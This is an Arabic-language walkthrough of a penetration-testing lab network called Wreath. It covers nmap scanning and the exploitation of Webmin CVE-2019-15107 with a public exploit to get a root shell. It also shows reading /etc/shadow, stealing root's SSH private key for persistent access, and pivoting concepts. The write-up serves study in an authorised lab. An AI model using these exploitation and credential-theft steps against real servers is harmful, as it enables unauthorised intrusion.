القائمة الرئيسية

الصفحات

دورة اختبار اختراق الشبكات من الصفر الى الاحتراف

 

Task 1

1. ما هو الهدف من شبكة Wreath؟

الكاتب يوضح أن Wreath ليست مجرد تحدٍ للاختراق (Challenge) كباقي الغرف، بل هي بيئة تعليمية (Learning Resource) مصممة خصيصاً للمبتدئين لتعليمهم تقنيات محددة ومتقدمة قليلاً، بدلاً من التركيز فقط على كيفية الدخول الأولي للجهاز.

التركيز الأساسي سيكون على ثلاثة مواضيع رئيسية (هذه مصطلحات جوهرية احفظها جيداً):

  • ال Pivoting (الارتكاز/التحمحور): تخيل أن لديك شبكة فيها عدة أجهزة، وأنت استطعت اختراق جهاز واحد فقط متصل بالإنترنت (Public facing). الـ Pivoting هو تقنية استخدام هذا الجهاز المخترق كـ "جسر" أو "نفق" للوصول إلى الأجهزة الداخلية الأخرى التي لا يمكنك الوصول إليها مباشرة.
  • ال Empire C2 Framework: ستتعلم كيفية استخدام أداة مشهورة تسمى Empire. الـ C2 هي اختصار لـ Command and Control (القيادة والتحكم)، وهي البرمجية التي يستخدمها المخترق لإدارة الأجهزة التي سيطر عليها وإرسال الأوامر لها عن بعد.
  • ال Simple Anti-Virus Evasion: تقنيات بسيطة للتهرب من برامج مكافحة الفيروسات (Anti-Virus)، بحيث لا يتم كشف البرمجيات الخبيثة التي ترسلها.

2. مواضيع أخرى ستتعلمها (بشكل مختصر)

بالإضافة للنقاط الثلاث أعلاه، سيمر الكورس على مهارات مهمة جداً لأي Penetration Tester (مختبر اختراق):

  • الCode Analysis: تحليل الأكواد المكتوبة بلغة Python و PHP.
  • الExploits: كيف تجد وتعدل الثغرات البرمجية (Exploits) العامة لتناسب هدفك.
  • الFirewall Administration: إدارة الجدار الناري (Firewall) عن طريق سطر الأوامر (CLI) في أنظمة Linux و Windows.
  • الExfiltration: تقنيات استخراج البيانات المسروقة من الشبكة للخارج.
  • الPentest Report: كيفية كتابة تقرير اختبار اختراق احترافي في النهاية.

3. الأدوات والمصادر (Tools & Resources)

  • الأدوات: يوجد ملف مضغوط (Zipfile) مرفق يحتوي على الأدوات، وكلمة السر له هي WreathNetwork. لكن النص ينصحك بذكاء: "حمل النسخ الأحدث من الأدوات بنفسك" أثناء التطور في الدروس بدلاً من الاعتماد على الملف القديم المرفق.
  • الفيديوهات: يوجد شخص اسمه DarkStar7471 قام بتسجيل فيديوهات تشرح كل خطوة. ستجد زر "Play" في كل مهمة يوجهك للفيديو الخاص بها، وهذا يعتبر وسيلة المساعدة الأولى لك (First line of support).

4. المتطلبات المسبقة (Prerequisites)

لكي تنجح في هذا المختبر، يفترض أن تكون لديك:

  • معرفة أساسية بسطر أوامر لينكس (Linux Command Line).
  • فهم لمنهجية الاختراق الأساسية (Hacking Methodology).
  • قدرة بسيطة على قراءة وكتابة الكود (Code).

5. قواعد السلوك (Conduct) - مهم جداً

بما أن هذه الشبكة مشتركة (Shared Network) ويدخلها طلاب كثر في نفس الوقت، يجب الالتزام بالآداب التالية لعدم تخريب عمل الآخرين:

  1. لا تغير كلمات المرور لأي جهاز تخترقه.
  2. لا تحذف أي ملفات.
  3. تسمية الملفات: عندما ترفع أداة أو ملفاً على جهاز الضحية، سمهِ بصيغة: اسم_الأداة-اسم_المستخدم (مثال: shell-Ahmed.aspx). هذا يمنعك من الكتابة فوق ملفات شخص آخر بالخطأ (Overwriting).

Task 3&4

1. ملخص القصة (The Scenario)

فجأة، يتصل بك صديق قديم من الجامعة اسمه Thomas Wreath. بعد قليل من الحديث، يخبرك بالسبب الحقيقي لاتصاله:

  • هو سمع أنك دخلت مجال Hacking (الاختراق).
  • هو لديه مجموعة من السيرفرات (Servers) قام بإعدادها في شبكته المنزلية (Home Network) لمشاريعه الخاصة.
  • هو يطلب منك طلباً محدداً: "Assess them" (أي تقييم أمن هذه السيرفرات).

أنت فكرت قليلاً، ثم قبلت المهمة (Accept the job) لأنها لصديق، وأخبرته أنك لا تريد مالاً مقابل ذلك.


2. مصطلحات ومفاهيم مهمة هنا:

على الرغم من أن النص قصصي، إلا أنه يحتوي على مصطلحين مهمين جداً في مجال عملنا:

  • Assess (التقييم): عندما قال "I might like to assess them"، هو يقصد ما نسميه في الأمن السيبراني Vulnerability Assessment أو Penetration Testing. هو لا يطلب منك تدميرها، بل فحصها أمنياً وكشف الثغرات فيها.
  • Permission (الإذن): هذا النص موجود ليخبرك أنك تملك تخويلاً وتصريحاً لاختراق هذه الشبكة. في الحياة الواقعية، لا يمكنك لمس أي شبكة بدون إذن صريح مثل هذا (وعادة يكون عقداً مكتوباً). هذا ما يفرق بين "المخترق الأخلاقي" والمجرم.

هذا النص هو "ملف المهمة" (Mission Brief). هو أهم خطوة قبل أن تلمس الكيبورد، لأن "فهم الشبكة نصف الاختراق".

توماس أعطاك هنا خريطة الكنز (معلومات الشبكة - Network Topology). دعنا نحللها ونرسمها في ذهننا.

1. تحليل الشبكة (Network Breakdown)

بناءً على كلام توماس، الشبكة تتكون من 3 أجهزة، وعلينا أن نفهم وظيفة ومكان كل واحد منها:

الجهاز الأول: Public Facing Webserver (بوابتك للدخول)

  • الوصف: سيرفر استضافة موقع إلكتروني.
  • الحالة: Port Forwarded. هذا مصطلح مهم، يعني أن هذا الجهاز "مكشوف" للإنترنت ويمكن لأي شخص (وأنت منهم) الوصول إليه مباشرة.
  • المهمة: هذا هو مدخلك الوحيد (Entry Point). إذا وجدت ثغرة هنا، ستدخل الشبكة.

الجهاز الثاني: Internal Git Server (مخزن الأكواد)

  • الوصف: سيرفر يستخدمه توماس لحفظ أكواده (Version Control).
  • مكان الخطورة: توماس يكتب الكود على جهازه، يرسله للـ Git Server، ثم ينتقل الكود للسيرفر العام.
  • التلميح: بما أنه سيرفر داخلي وخاص، فغالباً توماس قد يكون مهملاً وترك "معلومات حساسة" (Sensitive Information) مثل كلمات مرور أو مفاتيح داخل الكود.

الجهاز الثالث: Thomas's PC (الهدف الصعب)

  • الوصف: يسميه "PC" لكنه تقنياً Windows Server (نسخة سيرفر من ويندوز).
  • الحماية: يحتوي على Antivirus وحمايات أخرى.
  • التحدي: هذا الجهاز لا يمكن الوصول إليه من السيرفر العام (الجهاز الأول) مباشرة. هذا يعني وجود حاجز (Firewall rules) يمنع الاتصال المباشر، مما سيتطلب منك مهارة الـ Pivoting التي تحدثنا عنها سابقاً.

2. استنتاجات المخترق (Hacker's Takeaways)

من هذا النص، نحن استنتجنا خطة الهجوم:

  1. الهدف الأول هو Webserver لأنه الوحيد الظاهر لنا.
  2. النظام في الجهاز الثالث هو Windows (لأنه ذكر Antivirus و Spare license).
  3. يجب أن نبحث داخل الـ Git Server عن أي أسرار قد تساعدنا.

3. نصيحة ذهبية: التوثيق (Documentation)

الكاتب يركز جداً على نقطة احترافية: "تعامل مع الأمر كأنه وظيفة حقيقية".

  • أولا Take Notes & Screenshots: خذ ملاحظات وصور لكل خطوة تقوم بها. لا تعتمد على ذاكرتك.
  • ثانيا Write a Report: في نهاية العمل، المحترف يسلم تقريراً (Pentest Report). حتى لو كنت تتعلم، تدرب على الكتابة الآن.
  • ثالثا The Kill-Chain: هو مصطلح عسكري/سيبراني يعني "سلسلة الهجوم" (من أول الاستطلاع حتى السيطرة الكاملة). سجل كل حلقة في هذه السلسلة.
  • أدوات الملاحظات: ينصحك باستخدام برامج مثل CherryTree أو Notion لتنظيم ملاحظاتك بشكل شجري ومرتب.

Task5

في البداية رحنا على NetworkManager وبعدله للايبي الرئيسي وبعمل ريست للنيتوورك

كيف اعدله ؟ بكتب بالبحث كملة network ورح تطلعلي هاي

وبس ادخل عليها رح يطلعلي

وبعدها رح اختار طريقة الاتصال الي عندي ورح اروح على IPv4 Settings وعلى قسم ال (Additional DNS servers) رح اضيف ال ip تبع اول مشين عنا بالتحدي وبعدها رح اضيف ال DNS المعروفة

وبعدها رح اعمل حفظ واطلع واتوجه الى التيرمينال واكتب هذا الكوماند

sudo systemctl restart NetworkManager

ما هذا الكوماند ؟

  • sudo: تمنحك صلاحيات "الآدمن" لأن التعديل بالشبكة يتطلب إذن مدير النظام.
  • systemctl: هي الأداة المسؤولة عن التحكم في "الخدمات" (Services) التي تعمل في خلفية النظام.
  • restart: أمر واضح، يطلب من النظام إيقاف الخدمة ثم تشغيلها فوراً.
  • NetworkManager: هو البرنامج (الخدمة) المسؤول عن إدارة كل اتصالاتك، سواء كانت Wi-Fi، إيثرنت، أو حتى VPN.

لنبدأ الحل

في السؤال الاول يطلب منا ("كم عدد المنافذ (Ports) المفتوحة على الهدف من بين أول 15,000 منفذ؟")

عشان نحل هذا التحدي رح نحتاج nmap ولو القينا نظرة على التلميحات لوجدنا انه اعطانا هذا الكوماند

nmap -p-15000 -vv TARGET_IP -oG initial-scan

ما هذا الكوماند وماذا يفعل ؟

  • nmap: الأداة الأساسية المستخدمة لفحص الشبكات والثغرات.
  • -p-15000: هذا الجزء يحدد نطاق الفحص. هو يطلب فحص جميع المنافذ من المنفذ رقم 1 وحتى 15,000.
  • -vv: (Double Verbose) تعني "زيادة التفاصيل". هذا الخيار يجعل البرنامج يظهر لك النتائج فور اكتشافها (Real-time) بدلاً من الانتظار حتى انتهاء الفحص بالكامل، كما يعطيك تفاصيل تقنية أدق عما يحدث في الخلفية.
  • TARGET_IP: هنا تضع عنوان الـ IP الخاص بالجهاز أو السيرفر الذي ترغب بفحصه.
  • -oG initial-scan: هذا الجزء خاص بحفظ النتائج:
    • -oG: تعني حفظ المخرجات بصيغة Grepable، وهي صيغة منظمة جداً تسهل عليك البحث داخل الملف لاحقاً باستخدام أمر grep.
    • initial-scan: هو اسم الملف الذي سيتم تخزين النتائج فيه.

بعد ما عملنا scan هذا هو ناتج ال command (طبعا بعد التعديل عليه واضافة ال ip الخاص بالمشين التي لدينا )

nmap -p-15000 -vv 10.200.180.200 -oG initial-scan

ناتج الكوماند


الان نريد ان نعمق ال scan قليلا رح استخدم هذا الكوماند

nmap -T4 -A -p22,80,443,10000 TARGET_IP

وظيفة هذا الكوماند

  • -T4: هذا هو خيار السرعة. النطاق من 1 إلى 5، و -T4 يعني فحصاً سريعاً وفعالاً (Aggressive timing). يُستخدم لتسريع العملية بشرط أن تكون الشبكة مستقرة.
  • -A: هذا هو الخيار "الخارق" (Aggressive scan)، وهو يجمع 4 وظائف في خيار واحد:
    1. نظام التشغيل (OS Detection): يحاول معرفة هل الهدف Linux أم Windows.
    2. إصدار الخدمات (Version Detection): يحاول معرفة رقم إصدار البرامج التي تعمل على المنافذ.
    3. فحص السكربتات (Script Scanning): تشغيل سكربتات Nmap الافتراضية للبحث عن ثغرات شائعة.
    4. تتبع المسار (Traceroute): معرفة القفزات (Hops) بينك وبين الهدف.
  • -p22,80,443,10000: تحديد منافذ معينة فقط للفحص، وهي:
    • 22: خدمة SSH (للدخول عن بُعد).
    • 80: خدمة HTTP (موقع ويب غير مشفر).
    • 443: خدمة HTTPS (موقع ويب مشفر).
    • 10000: غالباً ما يُستخدم للوحات تحكم مثل Webmin.
  • TARGET_IP: عنوان الجهاز المستهدف.

وهذا هو ناتج الكوماند


والان نذهب الي المتصفح ونلصق ال IP بداخله ونضغط enter نلاحظ تغير ال ip الى دومين

ولو ذهبنا الى

/etc/hosts

سنجد انه قام بتخزينه

ممكن يراودك سؤال ما هو ملف ال hosts ؟

ملف /etc/hosts هو بمثابة "دفتر عناوين" محلي وصغير موجود داخل نظام التشغيل (لينكس، ماك، وحتى ويندوز). وظيفته الأساسية هي ربط أسماء المواقع (Hostnames) بعناوين الـ IP يدوياً قبل أن يسأل النظام خوادم الـ DNS العالمية.


حسنا بعدما دخلنا للموقع سنتصفحة لمحاولة ايجاد اي معلومات مهمه

بعد تصفح بسيط وجدنا هذه المعلومات

حسنا دعونا نعود الى الى فحص ال nmap المتقدم

"دعونا نلقي نظرة على أعلى منفذ (port) مفتوح. عد إلى نتائج فحص الخدمات (service scan) الخاصة بك: ما هو إصدار الخادم (server version) الذي اكتشف Nmap أنه يعمل هنا؟"

دعونا نرى ما اذا كانت الخدمة التي يستخدمها هذا المنفذ فيها ثغرات ولا لا ؟

نذهب الى قوقل ونكتب الخدمة واصدارها ونكتب بجانبها "exploit"

نذهب الى موقع exploit DB فنجد ان هناك كود للاستغلال جاهز نقوم بتحميله

ولكن لنفهم بشكل عام ما الفائدة من هذا الكود ؟

1. الهدف العام (ماذا يفعل؟)

الكود يستغل ثغرة أمنية شهيرة تُعرف بـ Unauthenticated Remote Code Execution (RCE).

  • Unauthenticated: تعني أن المهاجم لا يحتاج لاسم مستخدم أو كلمة مرور للدخول.
  • RCE: تعني القدرة على تنفيذ أوامر برمجية على السيرفر عن بُعد.
  • السبب: وجود "باب خلفي" (Backdoor) تم وضعه من قبل مخترقين مجهولين في الكود المصدري لـ Webmin (الإصدارات 1.890 إلى 1.920) في ملف مسؤول عن تغيير كلمة المرور.

2. كيف يعمل الكود؟ (خطوات التنفيذ)

يتبع الكود استراتيجية ذكية مكونة من مرحلتين:

المرحلة الأولى: الفحص (The Check Phase)

قبل أن يبدأ الهجوم، يقوم الكود بالتأكد من أن الهدف مصاب فعلاً:

  1. يرسل طلب HTTP إلى ملف password_change.cgi.
  2. يختبر ما إذا كانت خاصية "تغيير كلمة المرور المنتهية" مفعلة.
  3. إذا رد السيرفر بطريقة معينة، يتأكد الكود أن هذا السيرفر "صيد سهل" (Vulnerable).

المرحلة الثانية: الاستغلال (The Exploit Phase)

هنا يبدأ التنفيذ الفعلي:

  1. حقن الأمر: يقوم الكود بإرسال طلب "POST" يحتوي على متغيرات (Variables). الخدعة تكمن في حقل كلمة المرور القديمة (old).
  2. استغلال الباب الخلفي: الكود يضع علامة الـ Pipe (|) وبعدها الأمر الذي يريد تنفيذه (مثل payload). السيرفر المصاب سيقوم بتنفيذ ما بعد هذه العلامة مباشرة كأنه أمر نظام (System Command).
  3. النتيجة: السيرفر ينفذ الأمر، وغالباً ما يكون هذا الأمر هو فتح "اتصال عكسي" (Reverse Shell) يعطي المهاجم تحكماً كاملاً بالشاشة السوداء (Terminal) الخاصة بالسيرفر بصلاحيات Root (أعلى صلاحية).

3. معلومات هامة:

  • المنفذ الافتراضي: يستهدف المنفذ 10000 (وهو المنفذ المعروف لـ Webmin).
  • نظام التشغيل: يستهدف الأنظمة التي تعمل بـ Linux/Unix.

هذه اجابات الاسئلة لهذا التاسك

الاستغلال (Exploitation)

للحصول على Initial Access، سنقوم باستخدام الـ Exploit المكتوب بلغة Python.

أولاً: تجهيز بيئة الهجوم

سنقوم بعمل Clone للـ Repository الخاص بالثغرة وتثبيت المكتبات اللازمة لضمان عمل السكربت دون أخطاء:

git clone https://github.com/MuirlandOracle/CVE-2019-15107
cd CVE-2019-15107
pip3 install -r requirements.txt
  • git: هو اسم النظام المسؤول عن إدارة إصدارات البرمجيات (Version Control System).
  • clone: تعني حرفياً "استنساخ". هي لا تكتفي بتحميل الملفات فقط، بل تأخذ نسخة كاملة من تاريخ المشروع، جميع التعديلات السابقة، وجميع الفروع (Branches) الموجودة فيه.

لما تيجي تنفذ كوماند pip3 install -r requirements.txt ممكن تواجهك هاي المشكلة:

الحل لهاي المشكله هو Python env ما هي؟

في نظام كالي لينكس (أو أي نظام توزيعة لينكس حديثة)، Python Environment (أو البيئة الافتراضية) هي وسيلة لعزل مشاريع بايثون عن بعضها البعض وعن نظام التشغيل نفسه.

ببساطة، تخيلها كـ "غرفة معزولة" داخل جهازك، تضع فيها الأدوات والمكتبات التي يحتاجها مشروع معين دون أن تؤثر على بقية الجهاز.

لماذا نحتاجها في كالي لينكس؟

  1. حماية النظام: كالي يعتمد على بايثون لتشغيل الكثير من أدواته الأساسية. إذا قمت بتثبيت مكتبة جديدة بشكل عشوائي، قد يحدث تعارض يؤدي إلى تعطل أدوات مثل Nmap أو Metasploit.
  2. تجنب خطأ PEP 668: في الإصدارات الجديدة من كالي، ستظهر لك رسالة خطأ إذا حاولت استخدام pip install بشكل مباشر. النظام يمنعك من ذلك ويجبرك على استخدام بيئة افتراضية لحماية استقرار النظام.
  3. إصدارات مختلفة: قد تحتاج أداة اختراق معينة مكتبة قديمة (مثل requests 2.0) بينما تحتاج أداة أخرى إصداراً حديثاً؛ البيئة الافتراضية تسمح للاثنين بالعمل على نفس الجهاز دون صراعات.

كيف اشغلها؟

من خلال الكوماندين التاليين:

1. الأمر الأول: python3 -m venv venv

  • الوظيفة: إنشاء "البيئة الافتراضية" (Virtual Environment).
  • التفاصيل:
    • python3 -m venv: يطلب من بايثون استخدام موديل البيئات الافتراضية.
    • venv (الأخيرة): هي اسم المجلد الذي سيتم إنشاؤه. يمكنك تسميته أي شيء، لكن العرف البرمجي جرى على تسميته venv.
  • النتيجة: سيظهر عندك مجلد جديد يحتوي على نسخة مصغرة ومعزولة من بايثون ومنظم الحزم pip.

2. الأمر الثاني: source venv/bin/activate

  • الوظيفة: "الدخول" إلى البيئة أو تفعيلها.
  • التفاصيل:
    • source: أمر في لينكس يخبر التيرمينال بتنفيذ محتويات ملف معين داخل الجلسة الحالية.
    • venv/bin/activate: هو المسار لملف التفعيل الموجود داخل المجلد الذي أنشأته للتو.
  • النتيجة: ستلاحظ ظهور كلمة (venv) قبل اسم المستخدم في التيرمينال. هذا يعني أن أي مكتبة ستثبتها الآن (باستخدام pip install) سيتم وضعها داخل هذا المجلد فقط، ولن تلمس ملفات النظام الأساسية.
ملاحظة هامة جداً: يفضل عمل هذين الامرين وانت في حساب root.

ثانياً: تنفيذ الهجوم

سنشغل الاداة في ال (Python Environment).

الآن أصبحنا جاهزيم لتوجيه الـ Exploit نحو الـ Webserver المستهدف. هذا السكربت سيعطينا ما يسمى بـ Pseudoshell (شيل وهمي/مؤقت):

./CVE-2019-15107.py 10.200.180.200

عند تنفيذ الأمر whoami داخل هذا الشيل، نجد أن الاستجابة هي root. هذا يعني أننا حصلنا على صلاحيات الـ Root مباشرة لأن خدمة Webmin تعمل بهذه الصلاحيات.

ملاحظة: لمعرفة الـ IP الخاص بك، استخدم الأمر ip a.

ما بعد الاستغلال وتثبيت الوصول (Post-Exploitation & Persistence)

بما أننا حصلنا على صلاحيات Root مباشرة، فلا حاجة لعملية Privilege Escalation تقليدية. بدلاً من ذلك، سنركز على جمع المعلومات وتثبيت الوصول (Persistence) لضمان الدخول لاحقاً دون إعادة الاستغلال.

البحث عن المعلومات الحساسة

قمنا بمحاولة قراءة الـ Hashes الخاصة بكلمات المرور:

cat /etc/shadow

على الرغم من أننا نملك الـ Hash، إلا أن التحدي يشير إلى صعوبة كسره (Cracking). لذا سنبحث عن طريق بديل للدخول.

استخراج SSH Keys

للحصول على وصول مستمر، انتقلنا إلى مجلد الـ Home الخاص بالـ Root وبحثنا عن ملفات SSH المخفية:

ls /root
ls -al /root
ls -al /root/.ssh

لاحظنا وجود مجلد .ssh. عند استعراض محتوياته، وجدنا ملف id_rsa، وهو الـ Private Key الخاص بالـ Root.

ما هو ال id_rsa ؟

ببساطة شديدة، ملف id_rsa هو عبارة عن "مفتاحك السري" (Private Key) للدخول إلى السيرفرات دون الحاجة لكتابة كلمة مرور.

1. الفكرة: القفل والمفتاح

نظام SSH يعتمد على زوج من الملفات يعملان معاً (مثل القفل والمفتاح):

  • المفتاح العام (id_rsa.pub): هذا بمثابة "القفل". يمكنك نسخ هذا الملف ووضعه على أي سيرفر في العالم تريد الدخول إليه (تحديداً داخل ملف authorized_keys).
  • المفتاح الخاص (id_rsa): هذا بمثابة "المفتاح الحقيقي". هذا الملف يبقى معك على جهازك أنت فقط، ولا يجوز لأحد غيرك رؤيته أو نسخه.

2. كيف تعمل العملية؟

عندما تحاول الاتصال بالسيرفر، يحدث حوار سريع في الخلفية:

  1. أنت: "مرحباً، أريد الدخول."
  2. السيرفر: "لدي قفل هنا (Public Key)، هل تملك المفتاح الخاص (Private Key) الذي يفتحه؟"
  3. أنت: "نعم، هذا هو إثبات أني أملك المفتاح id_rsa."
  4. السيرفر: "تفضل بالدخول." (دون أن يطلب باسوورد).

3. لماذا اسمه id_rsa؟

  • id: اختصار لـ Identity (هوية)، لأنه يمثل هويت الرقمية.
  • rsa: هو اسم الخوارزمية الرياضية المستخدمة لتشفير هذا المفتاح (نسبة لمخترعيها: Rivest, Shamir, Adleman).

4. لماذا هو خطير؟

اذا وجدتَ ملف id_rsa الخاص بالـ root، فهذا يعني أنك وجدت "نسخة من مفتاح بيت المدير". بمجرد حصولك عليه، يمكنك الدخول إلى السيرفر بصلاحيات المدير متى تشاء، وكأنك هو تماماً.


تثبيت الاتصال (Persistence)

1. نقوم بنسخ محتوى id_rsa وعمل ملف جديد على جهازنا (Kali):

cat /root/.ssh/id_rsa
# (Paste the key content here)

2. يجب تعديل صلاحيات الملف ليكون آمراً للاستخدام (SSH يرفض المفاتيح ذات الصلاحيات المفتوحة):

chmod 600 id_rsa
  • chmod: اختصار لـ (Change Mode)، وهو الأمر المسؤول عن تغيير "صلاحيات" الملفات (من يقرأ، من يكتب، ومن ينفذ).
  • 600: هذا هو "كود الصلاحيات" الرقمي، وتفصيله كالتالي:
    • 6 (للمالك): تعني أنك (صاحب الملف) تملك صلاحية القراءة والكتابة.
    • 0 (للمجموعة): تعني أن أعضاء مجموعتك لا يملكون أي صلاحية (لا قراءة ولا كتابة).
    • 0 (للآخرين): تعني أن أي مستخدم آخر على النظام لا يمكنه حتى رؤية محتوى الملف.
  • id_rsa: هو الاسم الافتراضي لملف المفتاح الخاص (Private Key) الخاص ببروتوكول SSH.

لماذا هذا الأمر "إجباري"؟

إذا حاولت استخدام مفتاح SSH وكانت صلاحياته واسعة (مثلاً أي شخص يمكنه قراءته)، فإن نظام SSH سيرفض الاتصال وسيعطيك رسالة خطأ شهيرة: Permissions for 'id_rsa' are too open.

الهدف: التأكد من أن مفتاحك السري لا يمكن لأحد غيرك على نفس الجهاز الاطلاع عليه، لأن من يملك هذا الملف يملك هويتك ويمكنه دخول السيرفرات الخاصة بك.

3. الآن يمكننا الدخول عبر SSH كـ Root مباشرة دون كلمة مرور:

ssh -i id_rsa root@10.200.180.200

شرح الكوماند الاخير

  • ssh: الأداة التي تفتح "نفقاً" آمناً للتحكم في جهاز آخر عبر الشاشة السوداء (Terminal).
  • -i id_rsa: حرف الـ i اختصار لـ Identity (الهوية). أنت تخبر النظام: "لا تطلب مني كلمة مرور، استخدم هذا الملف (id_rsa) كبطاقة هويتي للدخول".
  • root: هو اسم المستخدم الذي تريد الدخول به (هنا أنت تحاول الدخول بصلاحيات المدير الكاملة).
  • @: علامة الربط، تعني "عند" أو "في".
  • 10.200.180.200: هو عنوان الـ IP الخاص بالجهاز المستهدف (الهدف).

اجابات الاسئلة


Task 7: Pivoting (التمحور والارتكاز)

مصطلح "Pivoting" (التمحور أو الارتكاز) بشكل نظري قبل البدء بالتطبيق. دعنا نبسط الأمر:


1. ما هو الـ Pivoting؟

تخيل أنك لص (مخترق) تريد سرقة خزنة موجودة في غرفة داخلية محصنة داخل شركة.

  • لا يمكنك الدخول للغرفة الداخلية مباشرة من الشارع (الإنترنت).
  • لكن، باب الاستقبال (Public Facing Server) مفتوح للجمهور.
  • الخطة: تدخل الاستقبال أولاً، ومن داخل الاستقبال تستخدم صلاحياتك لتفتح الباب المؤدي للغرف الداخلية.

في الأمن السيبراني: Pivoting هو فن استخدام جهاز قمت باختراقه مسبقاً (جهاز الاستقبال) كجسر للعبور والهجوم على أجهزة أخرى أعمق داخل الشبكة (الخزنة) لم تكن تستطيع الوصول إليها بشكل مباشر.


2. شرح المخطط (Diagram) الذي أرسلته

الصورة توضح المفهوم ببراعة:

  • ال Attacker (أنت - باللون الأحمر): جهازك خارج الشبكة تماماً.
  • ال Public Facing Server (السيرفر العام): هذا هو الجهاز الوحيد المتصل بك وبباقي الأجهزة الداخلية. هو "الوسيط".
  • ال Internal Network (الشبكة الداخلية): لاحظ أن الأجهزة الثلاثة في الخلف لا يوجد خط مباشر بينها وبينك.
  • الحل: السهم الأحمر يضرب السيرفر العام، ومن هناك يخرج سهم أسود (Pivot) ليضرب الأجهزة الداخلية.

3. ماذا تتوقع في الدروس القادمة؟

الكاتب يمهد لك الطريق للنقاط التالية:

  • نظرية مكثفة (Theory): ستتعلم كيف تقوم بعملية Pivoting سواء كان الجهاز الذي اخترته يعمل بنظام Linux أو Windows.
  • التطبيق العملي: ستطبق ما تعلمته في بيئة الـ Sandbox (شبكة Wreath).
  • تحذير (Firewalls): ينبهك أن بعض تقنيات الـ Pivoting قد لا تعمل فوراً بسبب وجود جدران حماية (Firewalls) تعترض الطريق، وسيعلمك لاحقاً كيف تتجاوزها.

🎯 الهدف النهائي

بنهاية هذا الموضوع، ستكون قادراً على التنقل داخل الشبكات الداخلية المحمية واختراق أجهزة لم تكن متاحة لك مباشرة من الإنترنت!


Task 8: Pivoting - High-level Overview

هذا النص ينقلنا من "ما هو الـ Pivoting" (النظرية) إلى "كيف نقوم به" (التطبيق). الكاتب يعطيك نظرة عامة عالية المستوى (High-level Overview) عن الأساليب التي ستستخدمها.


1. اليدوي ضد الآلي (Manual vs. Frameworks)

رغم أن هناك أدوات جاهزة وقوية مثل Metasploit تجعل العملية سهلة، إلا أن هذا الكورس سيركز على التقنيات اليدوية (Manual Techniques).

  • لماذا؟ لكي تفهم كيف تسير الأمور "تحت الغطاء" بدلاً من ضغط زر واحد دون فهم.

2. الطريقتان الرئيسيتان للـ Pivoting

في عالم اختبار الاختراق، لدينا أسلوبان لعمل "جسر" داخل الشبكة:

أ. الأنفاق والوكلاء (Tunnelling/Proxying)

  • الفكرة: تخيل أنك تفتح "نفقاً" واسعاً من جهازك إلى الجهاز المخترق.
  • كيف يعمل: تقوم بإنشاء اتصال من نوع Proxy. هذا يسمح لك بتوجيه كل حركة المرور (Traffic) التي تريدها (تصفح، فحص شبكة، إلخ) عبر هذا النفق لتدخل الشبكة المستهدفة.
  • الميزة: مفيد جداً إذا أردت استخدام أدوات فحص مثل Nmap أو الوصول لعدة منافذ (Ports) على عدة أجهزة في نفس الوقت.
  • ميزة إضافية: يمكن تغليف هذا النفق داخل بروتوكول آخر (مثل SSH tunnelling) لإخفاء نشاطك والتهرب من أنظمة كشف التسلل (IDS) أو الجدار الناري (Firewall).

ب. توجيه المنافذ (Port Forwarding)

  • الفكرة: بدلاً من نفق واسع، أنت تمد "كيبل" واحد محدد جداً.
  • كيف يعمل: تقوم بربط "منفذ محلي" (Local Port) على جهازك بـ "منفذ معين" على جهاز الضحية.
  • الميزة: عادة ما يكون أسرع وأكثر استقراراً (Reliable).
  • العيب: يسمح لك بالوصول لشيء واحد فقط (مثلاً: الوصول لموقع ويب داخلي فقط)، ولا يمكنك استخدامه لفحص الشبكة بالكامل.

3. كيف تختار بينهما؟

الأمر يعتمد على هدفك وشكل الشبكة (Network Layout):

  • تريد فحص الشبكة واكتشاف الأجهزة؟ استخدم Proxy.
  • وجدت ثغرة في موقع معين وتريد استغلالها بتركيز وسرعة؟ استخدم Port Forwarding.

4. القاعدة الذهبية (General Rule)

الكاتب يعطيك نصيحة ثمينة:

"إذا كان لديك خيار بين اختراق جهاز Linux أو Windows لتستخدمه كجسر (Pivot)، فاختر Linux دائماً."

السبب هو أن أجهزة Linux/Unix أسهل بكثير في التعامل معها لعمليات الـ Pivoting.


5. حقيبة الأدوات القادمة (Upcoming Tools)

في المهام القادمة، سيعلمك استخدام مجموعة من الأدوات الشهيرة في هذا المجال (لا تقلق بشأن أسمائها الآن، سنشرحها لاحقاً):

  • Proxychains / FoxyProxy (للبروكسي).
  • SSH (ملك الـ Tunnelling في لينكس).
  • plink.exe (للتعامل مع ويندوز).
  • socat & chisel (أدوات قوية جداً تعمل على النظامين).

Task 9: Enumeration بعد Pivoting

التعداد وجمع المعلومات بعد اختراق الجهاز الأول

الاستراتيجية: كيف تستكشف المكان؟ (5 طرق)

الكاتب يرتب لك طرق جمع المعلومات من الأفضل والأسرع إلى الأسوأ والأبطأ. دائماً ابدأ برقم 1:

  1. 1. استخدام الملفات الموجودة (Material found on machine): البحث في ملفات النظام وتاريخ الاتصالات.
  2. 2. استخدام الأدوات المثبتة مسبقاً (Pre-installed tools): مثل استخدام أمر ping الموجود أصلاً. هذا يسمى Living off the Land (LotL)، أي "العيش بما تجده في الأرض"، وهي طريقة ذكية لأنها لا تثير الشكوك.
  3. 3. أدوات مجمعة ثابتاً (Statically compiled tools): أن ترفع أنت أدواتك الخاصة (مثل Nmap) للجهاز.
  4. 4. كتابة السكربتات (Scripting techniques): كتابة كود بسيط يقوم بالفحص.
  5. 5. الفحص عبر البروكسي (Scanning through proxy): هذه أسوأ طريقة ويجب أن تكون الملاذ الأخير لأنها بطيئة جداً جداً.

الخطوة الأولى: النبش في الملفات (The Easy Wins)

قبل أن تتعب نفسك، انظر في "جيوب" الجهاز الذي اخترقته:

ARP Cache

استخدم أمر arp -a (يعمل على Windows و Linux). هذا الأمر يريك قائمة بالأجهزة التي تحدث معها هذا الجهاز مؤخراً. (كنز للمعلومات!).

arp -a
📌 ما هو arp -a؟
أمر arp -a هو أداة تستخدم لاستعراض "جدول عناوين البروتوكولات" (ARP Table) المخزن مؤقتاً في ذاكرة جهازك.
  • arp: اختصار لـ (Address Resolution Protocol)، وهو البروتوكول المسؤول عن الربط بين عنوان الـ IP وعنوان الـ MAC (العنوان الفيزيائي لكرت الشبكة).
  • -a: خيار يطلب من النظام "عرض الكل" (All/Display)، أي إظهار جميع البيانات الحالية الموجودة في الجدول.

ملف Hosts

في لينكس /etc/hosts وفي ويندوز C:\Windows\System32\drivers\etc\hosts. قد تجد فيه عناوين IP وأسماء أجهزة داخلية محفوظة.

DNS

